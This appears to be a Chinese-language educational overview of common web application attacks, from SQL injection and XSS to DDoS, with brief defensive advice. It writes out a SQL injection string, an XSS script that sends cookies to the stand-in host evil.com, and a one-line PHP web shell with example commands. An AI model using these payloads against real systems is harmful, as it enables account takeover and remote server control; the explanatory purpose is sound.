Web 应用面临的典型攻击手段
如今，大多数服务都依赖于网络应用，从在线购物到银行转账，几乎人人都在使用。但便利的背后，隐藏着不小的安全风险。攻击者不断寻找系统漏洞，利用各种方式突破防线，获取敏感信息或破坏服务运行。了解常见的攻击类型，是构建安全防线的第一步。
SQL 注入（SQL Injection）
这是最经典也最危险的攻击之一。当应用程序没有对用户输入做过滤，直接拼接进数据库查询语句时，攻击者就能插入恶意 SQL 代码。比如，登录框中输入 ' OR 1=1 --，就可能绕过验证直接登录后台。
假设一个查询语句长这样：
SELECT * FROM users WHERE username = '<user_input>' AND password = '<pass_input>';如果 user_input 被替换成 ' OR '1'='1，查询逻辑就被篡改了，数据库可能返回所有用户数据。
跨站脚本（XSS）
XSS 攻击让黑客把恶意脚本塞进网页，一旦其他用户打开页面，脚本就在他们的浏览器里执行。比如评论区没过滤内容，有人贴了一段 JavaScript，下一个点开评论的人，cookie 就可能被悄悄传走。
常见形式像这样：
<script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>这种攻击不直接动服务器，而是“借”用户的浏览器干活，隐蔽性强。
跨站请求伪造（CSRF）
和 XSS 不同，CSRF 是骗用户去执行非本意的操作。比如你登录了银行网站但没退出，又打开了一个恶意页面，该页面自动提交一笔转账请求。因为请求带着你的登录凭证，银行系统会误以为是你本人操作。
防御通常靠添加一次性 token，确保请求来自合法页面。
文件上传漏洞
很多网站允许用户上传头像、文档等文件。但如果不对文件类型、后缀、内容做检查，攻击者可能传一个 .php 或 .jsp 的木马文件。一旦服务器执行了这个文件，整个后台就可能被控制。
比如上传一个伪装成图片的 PHP 后门：
<?php system($_GET['cmd']); ?>之后通过访问 ?cmd=dir 或 ?cmd=whoami，就能远程执行命令。
API 滥用与越权访问
现代应用大量依赖 API 接口传输数据。有些接口本应只给管理员调用，但开发者忘了加权限判断，导致普通用户也能访问。比如 /api/v1/users 返回所有注册用户信息，本该限制角色，却对所有人开放。
还有的 API 缺乏频率限制，被用来暴力刷验证码或抢券，影响正常服务。
HTTP 请求走私
这种攻击利用前端代理（如 Nginx）和后端服务器对 HTTP 请求解析的差异，偷偷“夹带”额外请求。攻击者可能绕过身份验证、缓存投毒，甚至让其他用户收到恶意响应。
虽然技术门槛高，但在大型系统中一旦得手，影响范围广。
会话劫持与固定攻击
会话令牌（session ID）是保持登录状态的关键。如果令牌生成规则简单、传输未加密，或者注销机制不完善，攻击者就能窃取或预测令牌，冒充他人身份。
例如，在公共 Wi-Fi 下抓包获取 Cookie，再导入自己浏览器，直接登录别人账号。
DDoS 与资源耗尽
虽然不算针对逻辑漏洞，但 DDoS 通过海量请求压垮服务器，让正常用户无法访问。应用层 DDoS 更精准，比如频繁调用搜索接口、反复提交表单，消耗 CPU 和数据库连接。
小网站可能一次攻击就瘫痪数小时，恢复成本高。
这些攻击每天都在发生，防不胜防。开发阶段多考虑边界情况，部署时启用 WAF、定期做渗透测试，才能有效降低风险。安全不是功能，而是贯穿始终的习惯。